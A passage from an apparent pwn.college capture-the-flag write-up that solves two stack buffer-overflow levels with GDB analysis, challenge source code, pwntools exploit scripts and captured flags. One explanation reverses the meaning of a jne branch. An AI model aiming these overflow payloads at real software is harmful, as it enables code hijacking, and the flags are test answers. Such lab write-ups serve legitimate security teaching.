| 0x00007fffda82cd28 (rsp+0x0098) | e3 25 40 00 00 00 00 00 | 0x00000000004025e3 |
+---------------------------------+-------------------------+--------------------+
The program's memory status:
- the input buffer starts at 0x7fffda82ccc0
- the saved frame pointer (of main) is at 0x7fffda82cd20
- the saved return address (previously to main) is at 0x7fffda82cd28
- the saved return address is now pointing to 0x4025e3.
- the canary is stored at 0x7fffda82cd18.
- the canary value is now 0x93270df9dc9afb00.
- the address of the win variable is 0x7fffda82cd0c.
- the value of the win variable is 0x5d6e8736.
- the address of the lose variable is 0x7fffda82cd10.
- the value of the lose variable is 0x0.
You win! Here is your flag:
pwn.college{MRKyoY6P00zHjkJ8rDmfCCyHc-u.ddTNzMDL4ITM0EzW}
Goodbye!
Variable Control (hard)
hacker@binary-exploitation~variable-control-hard:/$ /challenge/binary-exploitation-var-control
Send your payload (up to 4096 bytes)!
In this case we need the following information to overflow the buffer successfully:
- Location of buffer
- Location of
losevariable - Location of
winvariable - Required value of
winvariable
Disassembly
Let's load the function within GDB.
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010e0 __errno_location@plt
0x00000000004010f0 puts@plt
0x0000000000401100 write@plt
0x0000000000401110 __stack_chk_fail@plt
0x0000000000401120 printf@plt
0x0000000000401130 geteuid@plt
0x0000000000401140 read@plt
0x0000000000401150 setvbuf@plt
0x0000000000401160 open@plt
0x0000000000401170 exit@plt
0x0000000000401180 strerror@plt
0x0000000000401190 _start
0x00000000004011c0 _dl_relocate_static_pie
0x00000000004011d0 deregister_tm_clones
0x0000000000401200 register_tm_clones
0x0000000000401240 __do_global_dtors_aux
0x0000000000401270 frame_dummy
0x0000000000401276 bin_padding
0x00000000004018e4 win
0x00000000004019eb challenge
0x0000000000401b22 main
0x0000000000401be0 __libc_csu_init
0x0000000000401c50 __libc_csu_fini
0x0000000000401c58 _fini
challenge()
(gdb) disassemble challenge
Dump of assembler code for function challenge:
0x00000000004019eb <+0>: endbr64
0x00000000004019ef <+4>: push rbp
0x00000000004019f0 <+5>: mov rbp,rsp
0x00000000004019f3 <+8>: add rsp,0xffffffffffffff80
0x00000000004019f7 <+12>: mov DWORD PTR [rbp-0x64],edi
0x00000000004019fa <+15>: mov QWORD PTR [rbp-0x70],rsi
0x00000000004019fe <+19>: mov QWORD PTR [rbp-0x78],rdx
0x0000000000401a02 <+23>: mov rax,QWORD PTR fs:0x28
0x0000000000401a0b <+32>: mov QWORD PTR [rbp-0x8],rax
0x0000000000401a0f <+36>: xor eax,eax
0x0000000000401a11 <+38>: mov QWORD PTR [rbp-0x50],0x0
0x0000000000401a19 <+46>: mov QWORD PTR [rbp-0x48],0x0
0x0000000000401a21 <+54>: mov QWORD PTR [rbp-0x40],0x0
0x0000000000401a29 <+62>: mov QWORD PTR [rbp-0x38],0x0
0x0000000000401a31 <+70>: mov QWORD PTR [rbp-0x30],0x0
0x0000000000401a39 <+78>: mov QWORD PTR [rbp-0x28],0x0
0x0000000000401a41 <+86>: mov QWORD PTR [rbp-0x20],0x0
0x0000000000401a49 <+94>: mov QWORD PTR [rbp-0x18],0x0
0x0000000000401a51 <+102>: mov DWORD PTR [rbp-0x10],0x0
0x0000000000401a58 <+109>: mov QWORD PTR [rbp-0x58],0x0
0x0000000000401a60 <+117>: mov QWORD PTR [rbp-0x58],0x1000
0x0000000000401a68 <+125>: mov rax,QWORD PTR [rbp-0x58]
0x0000000000401a6c <+129>: mov rsi,rax
0x0000000000401a6f <+132>: lea rdi,[rip+0x69a] # 0x402110
0x0000000000401a76 <+139>: mov eax,0x0
0x0000000000401a7b <+144>: call 0x401120 <printf@plt>
0x0000000000401a80 <+149>: mov rdx,QWORD PTR [rbp-0x58]
0x0000000000401a84 <+153>: lea rax,[rbp-0x50]
0x0000000000401a88 <+157>: mov rsi,rax
0x0000000000401a8b <+160>: mov edi,0x0
0x0000000000401a90 <+165>: call 0x401140 <read@plt>
0x0000000000401a95 <+170>: mov DWORD PTR [rbp-0x5c],eax
0x0000000000401a98 <+173>: cmp DWORD PTR [rbp-0x5c],0x0
0x0000000000401a9c <+177>: jns 0x401aca <challenge+223>
0x0000000000401a9e <+179>: call 0x4010e0 <__errno_location@plt>
0x0000000000401aa3 <+184>: mov eax,DWORD PTR [rax]
0x0000000000401aa5 <+186>: mov edi,eax
0x0000000000401aa7 <+188>: call 0x401180 <strerror@plt>
0x0000000000401aac <+193>: mov rsi,rax
0x0000000000401aaf <+196>: lea rdi,[rip+0x682] # 0x402138
0x0000000000401ab6 <+203>: mov eax,0x0
0x0000000000401abb <+208>: call 0x401120 <printf@plt>
0x0000000000401ac0 <+213>: mov edi,0x1
0x0000000000401ac5 <+218>: call 0x401170 <exit@plt>
0x0000000000401aca <+223>: mov eax,DWORD PTR [rbp-0x10]
0x0000000000401acd <+226>: test eax,eax
0x0000000000401acf <+228>: je 0x401ae7 <challenge+252>
0x0000000000401ad1 <+230>: lea rdi,[rip+0x688] # 0x402160
0x0000000000401ad8 <+237>: call 0x4010f0 <puts@plt>
0x0000000000401add <+242>: mov edi,0x1
0x0000000000401ae2 <+247>: call 0x401170 <exit@plt>
0x0000000000401ae7 <+252>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000401aea <+255>: cmp eax,0x72a2e3ac
0x0000000000401aef <+260>: jne 0x401afb <challenge+272>
0x0000000000401af1 <+262>: mov eax,0x0
0x0000000000401af6 <+267>: call 0x4018e4 <win>
0x0000000000401afb <+272>: lea rdi,[rip+0x67e] # 0x402180
0x0000000000401b02 <+279>: call 0x4010f0 <puts@plt>
0x0000000000401b07 <+284>: mov eax,0x0
0x0000000000401b0c <+289>: mov rcx,QWORD PTR [rbp-0x8]
0x0000000000401b10 <+293>: xor rcx,QWORD PTR fs:0x28
0x0000000000401b19 <+302>: je 0x401b20 <challenge+309>
0x0000000000401b1b <+304>: call 0x401110 <__stack_chk_fail@plt>
0x0000000000401b20 <+309>: leave
0x0000000000401b21 <+310>: ret
End of assembler dump.
Let's look at the important code snippets.
# ---- snip ----
0x0000000000401a80 <+149>: mov rdx,QWORD PTR [rbp-0x58]
0x0000000000401a84 <+153>: lea rax,[rbp-0x50]
0x0000000000401a88 <+157>: mov rsi,rax
0x0000000000401a8b <+160>: mov edi,0x0
0x0000000000401a90 <+165>: call 0x401140 <read@plt>
# ---- snip ----
read@plt is called, and the value pointed to by rsi is the location of the stack.
# ---- snip ----
0x0000000000401aca <+223>: mov eax,DWORD PTR [rbp-0x10]
0x0000000000401acd <+226>: test eax,eax
0x0000000000401acf <+228>: je 0x401ae7 <challenge+252>
0x0000000000401ad1 <+230>: lea rdi,[rip+0x688] # 0x402160
0x0000000000401ad8 <+237>: call 0x4010f0 <puts@plt>
0x0000000000401add <+242>: mov edi,0x1
0x0000000000401ae2 <+247>: call 0x401170 <exit@plt>
0x0000000000401ae7 <+252>: mov eax,DWORD PTR [rbp-0x14]
# ---- snip ----
The program checks if the data pointed to by rbp-0x10 is zero. If yes, it jumps to challenge+252 over the exit@plt call and continues the flow of execution. The value pointed to by rbp-0x10 is the lose variable.
# ---- snip ----
0x0000000000401ae7 <+252>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000401aea <+255>: cmp eax,0x72a2e3ac
0x0000000000401aef <+260>: jne 0x401afb <challenge+272>
0x0000000000401af1 <+262>: mov eax,0x0
0x0000000000401af6 <+267>: call 0x4018e4 <win>
0x0000000000401afb <+272>: lea rdi,[rip+0x67e] # 0x402180
# ---- snip ----
The program moves the data pointed to by rbp-0x14 into eax, and then checks if it is equal to 0x72a2e3ac. If the check succeeds, it jumps to challenge+272, effectively skipping the win function.
- Location of buffer
- Location of
losevariable - Location of
winvariable - Required value of
winvariable:0x72a2e3ac
Let's set the necessary breakpoints to obtain the rest of the values during runtime.
(gdb) break *(challenge+165)
Breakpoint 1 at 0x401a90
(gdb) break *(challenge+223)
Breakpoint 2 at 0x401aca
(gdb) break *(challenge+252)
Breakpoint 3 at 0x401ae7
Now, we can run the program, and get the location of the buffer once the first breakpoint is hit.
Breakpoint 1, 0x0000000000401a90 in challenge ()
(gdb) p/x $rsi
$1 = 0x7ffcc2fa1f40
- Location of buffer:
0x7ffcc2fa1f40 - Location of
losevariable - Location of
winvariable - Required value of
winvariable:0x72a2e3ac
Let's continue until we hit the next breakpoint and obtain the location of the lose variable.
(gdb) c
Continuing.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Breakpoint 2, 0x0000000000401aca in challenge ()
(gdb) x/dw $rbp-0x10
0x7ffcc2fa1f80: 0
- Location of buffer:
0x7ffcc2fa1f40 - Location of
losevariable:0x7ffcc2fa1f80 - Location of
winvariable - Required value of
winvariable:0x72a2e3ac
Onto the next breakpoint.
(gdb) c
Continuing.
Breakpoint 3, 0x0000000000401ae7 in challenge ()
(gdb) x/dw $rbp-0x14
0x7ffcc2fa1f7c: 0
- Location of buffer:
0x7ffcc2fa1f40 - Location of
losevariable:0x7ffcc2fa1f80 - Location of
winvariable:0x7ffcc2fa1f7c - Required value of
winvariable:0x72a2e3ac
Let's calculate the distances of both the variables from the buffer.
(gdb) p/d 0x7ffcc2fa1f7c - 0x7ffcc2fa1f40
$2 = 60
(gdb) p/d 0x7ffcc2fa1f80 - 0x7ffcc2fa1f40
$3 = 64
Distance of win from buffer is 60 bytes, whereas the distance of lose from buffer is 64 bytes.
Exploit
from pwn import *
padding = b'A' * 60
payload = padding + p64(0x72a2e3ac)
p = process('/challenge/binary-exploitation-var-control')
p.recvuntil('bytes)!')
p.send(payload)
output = p.recvall(timeout=2)
print(output.decode(errors='ignore'))
p.close()
hacker@binary-exploitation~variable-control-hard:/$ python ~/script.py
[+] Starting local process '/challenge/binary-exploitation-var-control': pid 7967
/home/hacker/script.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil('bytes)!')
[+] Receiving all data: Done (98B)
[*] Process '/challenge/binary-exploitation-var-control' stopped with exit code 0 (pid 7967)
You win! Here is your flag:
pwn.college{gBPC8Ewerg4VTMW_17HsAq5wihU.dhTNzMDL4ITM0EzW}
Goodbye!
Control Hijack (easy)
Source code
#define _GNU_SOURCE 1
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>
uint64_t sp_;
uint64_t bp_;
uint64_t sz_;
uint64_t cp_;
uint64_t cv_;
uint64_t si_;
uint64_t rp_;
#define GET_SP(sp) asm volatile ("mov %0, rsp" : "=r"(sp) : : );
#define GET_BP(bp) asm volatile ("mov %0, rbp" : "=r"(bp) : : );
#define GET_CANARY(cn) asm volatile ("mov %0, QWORD PTR [fs:0x28]" : "=r"(cn) : : );
#define GET_FRAME_WORDS(sz_, sp, bp, rp_) GET_SP(sp); GET_BP(bp); sz_ = (bp-sp)/8+2; rp_ = bp+8;
#define FIND_CANARY(cnp, cv, start) \
{ \
cnp = start; \
GET_CANARY(cv); \
while (*(uint64_t *)cnp != cv) cnp = (uint64_t)cnp - 8; \
}
void DUMP_STACK(uint64_t sp, uint64_t n)
{
printf("+---------------------------------+-------------------------+--------------------+\n");
printf("| %31s | %23s | %18s |\n", "Stack location", "Data (bytes)", "Data (LE int)");
printf("+---------------------------------+-------------------------+--------------------+\n");
for (si_ = 0; si_ < n; si_++)
{
printf("| 0x%016lx (rsp+0x%04x) | %02x %02x %02x %02x %02x %02x %02x %02x | 0x%016lx |\n",
sp+8*si_, 8*si_,
*(uint8_t *)(sp+8*si_+0), *(uint8_t *)(sp+8*si_+1), *(uint8_t *)(sp+8*si_+2), *(uint8_t *)(sp+8*si_+3),
*(uint8_t *)(sp+8*si_+4), *(uint8_t *)(sp+8*si_+5), *(uint8_t *)(sp+8*si_+6), *(uint8_t *)(sp+8*si_+7),
*(uint64_t *)(sp+8*si_)
);
}
printf("+---------------------------------+-------------------------+--------------------+\n");
}
void bin_padding()
{
asm volatile (".rept 68; nop; .endr");
}
void win()
{
static char flag[256];
static int flag_fd;
static int flag_length;
puts("You win! Here is your flag:");
flag_fd = open("/flag", 0);
if (flag_fd < 0)
{
printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0)
{
printf(" Your effective user id is not 0!\n");
printf(" You must directly run the suid binary in order to have the correct permissions!\n");
}
exit(-1);
}
flag_length = read(flag_fd, flag, sizeof(flag));
if (flag_length <= 0)
{
printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno));
exit(-1);
}
write(1, flag, flag_length);
printf("\n\n");
}
int challenge(int argc, char **argv, char **envp)
{
struct
{
char input[30];
} data = {0} ;
unsigned long size = 0;
puts("The challenge() function has just been launched!");
GET_FRAME_WORDS(sz_, sp_, bp_, rp_);
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", sp_, bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
printf("including the saved base pointer and the saved return address, for a\n");
printf("total of %d bytes.\n", sz_ * 8);
printf("The input buffer begins at %p, partway through the stack frame,\n", &data.input);
printf("(\"above\" it in the stack are other local variables used by the function).\n");
printf("Your input will be read into this buffer.\n");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 30);
printf("large input length, and thus overflow the buffer.\n\n");
printf("In this level, there is no \"win\" variable.\n");
printf("You will need to force the program to execute the win() function\n");
printf("by directly overflowing into the stored return address back to main,\n");
printf("which is stored at %p, %d bytes after the start of your input buffer.\n", rp_, rp_ - (unsigned long) &data.input);
printf("That means that you will need to input at least %d bytes (%d to fill the buffer,\n", rp_ + 8 - (unsigned long) &data.input, 30);
printf("%d to fill other stuff stored between the buffer and the return address,\n", rp_ - (unsigned long) &data.input - 30);
printf("and 8 that will overwrite the return address).\n\n");
puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the canary is disabled, otherwise you would corrupt it before");
puts("overwriting the return address, and the program would abort.");
puts("- the binary is *not* position independent. This means that it will be");
puts("located at the same spot every time it is run, which means that by");
puts("analyzing the binary (using objdump or reading this output), you can");
puts("know the exact value that you need to overwrite the return address with.\n");
size = 4096;
printf("You have chosen to send %lu bytes of input!\n", size);
printf("This will allow you to write from %p (the start of the input buffer)\n", &data.input);
printf("right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", size + (unsigned long) &data.input, size - 30);
printf("Of these, you will overwrite %d bytes into the return address.\n", (long)((unsigned long) &data.input + size - rp_));
printf("If that number is greater than 8, you will overwrite the entire return address.\n\n");
printf("You will want to overwrite the return value from challenge()\n");
printf("(located at %p, %d bytes past the start of the input buffer)\n", rp_, rp_ - (unsigned long) &data.input);
printf("with %p, which is the address of the win() function.\n", win);
printf("This will cause challenge() to return directly into the win() function,\n");
printf("which will in turn give you the flag.\n");
printf("Keep in mind that you will need to write the address of the win() function\n");
printf("in little-endian (bytes backwards) so that it is interpreted properly.\n\n");
printf("Send your payload (up to %lu bytes)!\n", size);
int received = read(0, &data.input, (unsigned long) size);
if (received < 0)
{
printf("ERROR: Failed to read input -- %s!\n", strerror(errno));
exit(1);
}
printf("You sent %d bytes!\n", received);
printf("Let's see what happened with the stack:\n\n");
DUMP_STACK(sp_, sz_);
printf("The program's memory status:\n");
printf("- the input buffer starts at %p\n", &data.input);
printf("- the saved frame pointer (of main) is at %p\n", bp_);
printf("- the saved return address (previously to main) is at %p\n", rp_);
printf("- the saved return address is now pointing to %p.\n", *(unsigned long*)(rp_));
printf("- the address of win() is %p.\n", win);
printf("\n");
printf("If you have managed to overwrite the return address with the correct value,\n");
printf("challenge() will jump straight to win() when it returns.\n");
printf("Let's try it now!\n\n", 0);
puts("Goodbye!");
return 0;
}
int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char crash_resistance[0x1000];
challenge(argc, argv, envp);
}
hacker@binary-exploitation~control-hijack-easy:/$ /challenge/binary-exploitation-control-hijack-w
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffda50d5110 (rsp+0x0000) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffda50d5118 (rsp+0x0008) | 98 62 0d a5 fd 7f 00 00 | 0x00007ffda50d6298 |
| 0x00007ffda50d5120 (rsp+0x0010) | 88 62 0d a5 fd 7f 00 00 | 0x00007ffda50d6288 |
| 0x00007ffda50d5128 (rsp+0x0018) | 3d 45 ee a2 01 00 00 00 | 0x00000001a2ee453d |
| 0x00007ffda50d5130 (rsp+0x0020) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffda50d5138 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffda50d5140 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffda50d5148 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffda50d5150 (rsp+0x0040) | 90 11 40 00 00 00 00 00 | 0x0000000000401190 |
| 0x00007ffda50d5158 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffda50d5160 (rsp+0x0050) | 90 61 0d a5 fd 7f 00 00 | 0x00007ffda50d6190 |
| 0x00007ffda50d5168 (rsp+0x0058) | 5d 1b 40 00 00 00 00 00 | 0x0000000000401b5d |
+---------------------------------+-------------------------+--------------------+
Our stack pointer points to 0x7ffda50d5110, and our base pointer points to 0x7ffda50d5160.
This means that we have (decimal) 12 8-byte words in our stack frame,
including the saved base pointer and the saved return address, for a
total of 96 bytes.
The input buffer begins at 0x7ffda50d5130, partway through the stack frame,
("above" it in the stack are other local variables used by the function).
Your input will be read into this buffer.
The buffer is 30 bytes long, but the program will let you provide an arbitrarily
large input length, and thus overflow the buffer.
In this level, there is no "win" variable.
You will need to force the program to execute the win() function
by directly overflowing into the stored return address back to main,
which is stored at 0x7ffda50d5168, 56 bytes after the start of your input buffer.
That means that you will need to input at least 64 bytes (30 to fill the buffer,
26 to fill other stuff stored between the buffer and the return address,
and 8 that will overwrite the return address).
We have disabled the following standard memory corruption mitigations for this challenge:
- the canary is disabled, otherwise you would corrupt it before
overwriting the return address, and the program would abort.
- the binary is *not* position independent. This means that it will be
located at the same spot every time it is run, which means that by
analyzing the binary (using objdump or reading this output), you can
know the exact value that you need to overwrite the return address with.
You have chosen to send 4096 bytes of input!
This will allow you to write from 0x7ffda50d5130 (the start of the input buffer)
right up to (but not including) 0x7ffda50d6130 (which is 4066 bytes beyond the end of the buffer).
Of these, you will overwrite 4040 bytes into the return address.
If that number is greater than 8, you will overwrite the entire return address.
You will want to overwrite the return value from challenge()
(located at 0x7ffda50d5168, 56 bytes past the start of the input buffer)
with 0x4014c8, which is the address of the win() function.
This will cause challenge() to return directly into the win() function,
which will in turn give you the flag.
Keep in mind that you will need to write the address of the win() function
in little-endian (bytes backwards) so that it is interpreted properly.
Send your payload (up to 4096 bytes)!
In this challenge, we have to overwrite the return address to main() which is located at 0x7ffda50d5168 with 0x4014c8 with the return address of win.
In doing so, we will hijack the flow of code execution. When the challenge() function is executed, and it tries to return to the main() function, it will instead jump to the win function.
Exploit
from pwn import *
padding = b'A' * 56
payload = padding + p64(0x4014c8)
p = process('/challenge/binary-exploitation-control-hijack-w')
p.recvuntil('bytes)!')
p.send(payload)
output = p.recvall(timeout=2)
print(output.decode(errors='ignore'))
p.close()
hacker@binary-exploitation~control-hijack-easy:/$ python ~/script.py
[+] Starting local process '/challenge/binary-exploitation-control-hijack-w': pid 9954
/home/hacker/script.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil('bytes)!')
[.] Receiving all data: 1B
[+] Receiving all data: Done (1.88KB)tation-control-hijack-w' stopped with exit code -11 (SIGSEGV
) (pid 9954)
You sent 64 bytes!
Let's see what happened with the stack:
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffd8c1490a0 (rsp+0x0000) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd8c1490a8 (rsp+0x0008) | 28 a2 14 8c fd 7f 00 00 | 0x00007ffd8c14a228 |
| 0x00007ffd8c1490b0 (rsp+0x0010) | 18 a2 14 8c fd 7f 00 00 | 0x00007ffd8c14a218 |
| 0x00007ffd8c1490b8 (rsp+0x0018) | 3d b5 21 9b 01 00 00 00 | 0x000000019b21b53d |
| 0x00007ffd8c1490c0 (rsp+0x0020) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd8c1490c8 (rsp+0x0028) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd8c1490d0 (rsp+0x0030) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd8c1490d8 (rsp+0x0038) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd8c1490e0 (rsp+0x0040) | 41 41 41 41 40 00 00 00 | 0x0000004041414141 |
| 0x00007ffd8c1490e8 (rsp+0x0048) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd8c1490f0 (rsp+0x0050) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd8c1490f8 (rsp+0x0058) | c8 14 40 00 00 00 00 00 | 0x00000000004014c8 |
+---------------------------------+-------------------------+--------------------+
The program's memory status:
- the input buffer starts at 0x7ffd8c1490c0
- the saved frame pointer (of main) is at 0x7ffd8c1490f0
- the saved return address (previously to main) is at 0x7ffd8c1490f8
- the saved return address is now pointing to 0x4014c8.
- the address of win() is 0x4014c8.
If you have managed to overwrite the return address with the correct value,
challenge() will jump straight to win() when it returns.
Let's try it now!
Goodbye!
You win! Here is your flag:
pwn.college{IRiEQ4KOLDDMbamLQoFLEpUWDyu.01M5IDL4ITM0EzW}